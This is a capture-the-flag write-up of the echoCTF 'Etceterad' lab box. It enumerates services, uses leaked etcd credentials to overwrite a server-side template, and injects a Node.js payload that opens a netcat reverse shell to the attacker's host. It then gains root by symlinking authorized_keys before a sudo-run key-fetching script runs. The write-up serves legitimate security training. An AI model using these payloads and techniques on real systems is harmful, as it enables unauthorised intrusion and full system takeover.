Etceterad @ echoCTF
Etceterad - echoCTF
Information Gathering And Enumeration
Let’s us first start off by firing up nmap
to discover open ports and running services on our target.
1
2
3
4
5
6
7
mcsam@0x32:~/$ sudo nmap -vvv 10.0.160.122 -p- --min-rate 10000
Nmap scan report for 10.0.160.122
Host is up (0.27s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
1337/tcp open waste syn-ack ttl 63
2379/tcp open etcd-client syn-ack ttl 63
From the above scan we see that there are three services running. Nmap gives us an idea of the services running and from that we can see that etcd
is running on port 2379
. There’s another service running on 1337
and after doing a service scan on it we realized it’s a web application and hence can be accessed via the browser.
1
2
3
4
5
6
7
mcsam@0x32:~/$ sudo nmap -sV 10.0.160.122 -p 1337
Starting Nmap 7.80 ( https://nmap.org ) at 2024-10-11 09:25 GMT
Nmap scan report for 10.0.160.122
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
1337/tcp open http Node.js (Express middleware)
Accessing the website from via the browser.
After a search for vulnerabilities associated with etcd
running on 2379
we can find that this version of etcd
is vulnerable to CVE-2021-28235
.
PoC for this vulnerability can be found here: https://github.com/lucyxss/etcd-3.4.10-test/blob/master/temp4cj.png
Testing to see if our instance is also vulnerable.
Exploitation
Using this vulnerability we are able to view leaked credentials for authenticating to etcd
.
To be able to hack etcd
we must first understand what it is. etcd
is a distributed key-value store used to store configuration data and coordinate distributed systems. Effectively, etcd
acts as a database where clients can query data from the server in a distributed environment.
We can interract with etcd
buy using the client software called etcdctl
. First of all we will have to install the tool if it’s not available on current attack machine.
After installing it we can now interact with the etcd
. We first send a query to get information about out current user.
1
2
3
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 user get nodejs
User: nodejs
Roles: etsctf
From the above query we can see that we have the role etsctf
. Now we try to see what permissions are available for this role and what we can achieve with it.
1
2
3
4
5
6
7
8
9
10
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 role get etsctf
Role etsctf
KV Read:
[/home/, /home0) (prefix /home/)
[/nodejs/, /nodejs0) (prefix /nodejs/)
ETSCTF
KV Write:
[/home/, /home0) (prefix /home/)
[/nodejs/, /nodejs0) (prefix /nodejs/)
From the above results users with the role etsctf
can read and write to the /home
and /nodejs
prefixes.
We will attempt to view the keys under the /nodejs
prefix.
1
2
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 get --prefix "/nodejs/" --keys-only
/nodejs/index
Viewing the value stored in the /nodejs/index
key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 get --prefix "/nodejs/index"
/nodejs/index
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title><% if (typeof title == "undefined") { %>
EtceteraD
<% } else { %>
<%= title %>
<% }%></title>
...
</body>
</html>
From the content of the /nodejs/index
key we observe and find out that it is the source code for the web site we saw earlier running on port 1337
. Furthermore, we can also see that the source code does some server side rendering and hence may be vulnerable to SSTI. From our initial Nmap scan, nmap reported that the service running on port 1337
was powered by Node.js (Express middleware). This can guide us to know the kind of code to execute inorder to obtain RCE.
Testing our theory.
Since we have write access to /nodejs/index
key we will write our own content to verify if we can obtain code exeuction. Payload: Bingo: <%= 7*7 %>
1
2
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 put "/nodejs/index" "Bingo: <%= 7*7 %>"
OK
We reload the web app on port 1337
and bingo!!!
After a number of google searches we find a payload that can help us execute code on the target. We can leverage this to spawn a reverse shell on the target.
Payload:<%= process.mainModule.require('child_process').execSync('nc 10.10.1.126 8989 -e /bin/bash') %>
We will further leverage this to obtain a revervseshell using the payload above.
1
2
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 put "/nodejs/index" "<%= process.mainModule.require('child_process').execSync('nc 10.10.1.126 8989 -e /bin/bash') %>"
OK
We can now start our listener and reload the webpage to get a connection.
1
2
3
4
5
6
7
mcsam@0x32:~/$ rlwrap nc -lnvp 8989
Listening on 0.0.0.0 8989
Connection received on 10.0.160.122 40418
python3 -c "import pty;pty.spawn('/bin/bash')"
nodejs@etceterad:/app$ id
uid=1001(nodejs) gid=1001(nodejs) groups=1001(nodejs)
nodejs@etceterad:/app$
Privilege Escalation
First thing we can do is to check our sudo
privileges on the machine.
1
2
3
4
5
6
7
mcsam@0x32:~/$ sudo -l
Matching Defaults entries for nodejs on etceterad:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nodejs may run the following commands on etceterad:
(ALL : ALL) NOPASSWD: /usr/local/sbin/fetch_keys
We can see that we are allowed to run /usr/local/sbin/fetch_keys
as any user on the machine. We will have to leverage this to hijack the process and obtain code execution as the root user.
Unfortunately we have very limited permissions to /usr/local/sbin/fetch_keys
and hence we cannot read the contents of the file.
We will leverage another teachnique to determine what happens when the script is run. We will do that using pspy
.
Note that pspy
does not come by default in linux and as a result we will have to download and transfer the binary to our target.
To be able to do this efficiently we would need another session(reverse shell) on the target. We can monitor the activity with one shell while running the script from another shell to give us full visibility.
Running the script /usr/local/sbin/fetch_keys
.
1
2
3
mcsam@0x32:~/$ sudo /usr/local/sbin/fetch_keys
Fetching /home/ETSCTF/.ssh/authorized_keys
Fixing perms (0400)
From the image above, we can see that the /usr/local/sbin/fetch_keys
script queries a key from etcd
and writes the value to /home/ETSCTF/.ssh/authorized_keys
.
Previously, we found out that we have write access to a number of keys under the /home
prefix. We can enumerate and check the keys we can write to. If we can successfully write our own public keys to that to the etcd
databasee, we can run the /usr/local/sbin/fetch_keys
script to write our ssh public key to /home/ETSCTF/.ssh/authorized_keys
. If this is successful then we would be able to login into the machine as ETSCTF
.
Checking the keys under the /home
prefix.
1
2
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 get --prefix "/home/" --keys-only
/home/ETSCTF/.ssh/authorized_keys
It is now evident that we have write access to that key.
We have to first start off by generating our ssh public keys.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mcsam@0x32:~/$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/mcsam/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/mcsam/.ssh/id_rsa
Your public key has been saved in /home/mcsam/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:edHyAMJkJm5XAUbl/7lEzMMvHnaMrTtrD8Gr54vyoY8 mcsam@0x32
The key's randomart image is:
+---[RSA 3072]----+
| .+Oo=. |
| . =.+ . . |
| o . . + . |
| . . o X |
| S o X |
| . o X |
| . @ = |
| .o B+B |
| E+=+O*. |
+----[SHA256]-----+
Now we will write the public keys to the /home/ETSCTF/.ssh/authorized_keys
key.
1
2
mcsam@0x32:~/$ ETCDCTL_API=3 etcdctl --user nodejs:sjedon --endpoints http://10.0.160.122:2379 put "/home/ETSCTF/.ssh/authorized_keys" < id_rsa.pub
OK
After doing this we can run the /usr/local/sbin/fetch_keys
script and then login into the machine using our private key.
1
2
3
4
5
6
7
8
9
10
11
mcsam@0x32:~/$ ssh -i id_rsa ETSCTF@10.0.160.122
Linux etceterad.echocity-f.com 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ETSCTF@etceterad:~$ id
uid=1000(ETSCTF) gid=1000(ETSCTF) groups=1000(ETSCTF)
We can do a little experiment to see what’s goin on here. Since we now have access as the ETSCTF
user, we can delete the file and re-run the /usr/local/sbin/fetch_keys
script.
1
2
3
4
5
6
7
ETSCTF@etceterad:~/.ssh$ rm authorized_keys
rm: remove write-protected regular file 'authorized_keys'? y
ETSCTF@etceterad:~/.ssh$ ls -la
total 20
drwxr-xr-x 1 ETSCTF ETSCTF 4096 Oct 11 12:00 .
drwxr-xr-x 1 ETSCTF ETSCTF 4096 Mar 26 2024 ..
-r-------- 1 root root 565 Oct 11 12:00 authorized_keys
We observe that a new file is written to disk as the root user. After thinking and experimenting about this for some time we realize that any file with the name authorized_keys
in the /home/ETSCTF/.ssh/
is overwritten by the root user when /usr/local/sbin/fetch_keys
is run.
We can leverage this by using a symlink which points to the authorized_keys
file under the /root/.ssh/
directory to overwrite the root user’s ssh public keys. After doing that we can ssh into the machine using our private key as the root user.
1
2
3
4
5
6
7
8
ETSCTF@etceterad:~/.ssh$ rm authorized_keys
rm: remove write-protected regular file 'authorized_keys'? y
ETSCTF@etceterad:~/.ssh$ ln -s /root/.ssh/authorized_keys authorized_keys
ETSCTF@etceterad:~/.ssh$ ls -la
total 16
drwxr-xr-x 1 ETSCTF ETSCTF 4096 Oct 11 12:06 .
drwxr-xr-x 1 ETSCTF ETSCTF 4096 Mar 26 2024 ..
lrwxrwxrwx 1 ETSCTF ETSCTF 26 Oct 11 12:06 authorized_keys -> /root/.ssh/authorized_keys
After this we run the /usr/local/sbin/fetch_keys
script and /root/.ssh/authorized_keys
gets overwritten with our public ssh key.
We can now login to the box as the root user. Voila :smiley: :sparkles:.
1
2
3
4
5
6
7
8
9
10
11
12
mcsam@0x32:~/$ ssh -i id_rsa root@10.0.160.122
Linux etceterad.echocity-f.com 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@etceterad:~# id
uid=0(root) gid=0(root) groups=0(root)
root@etceterad:~#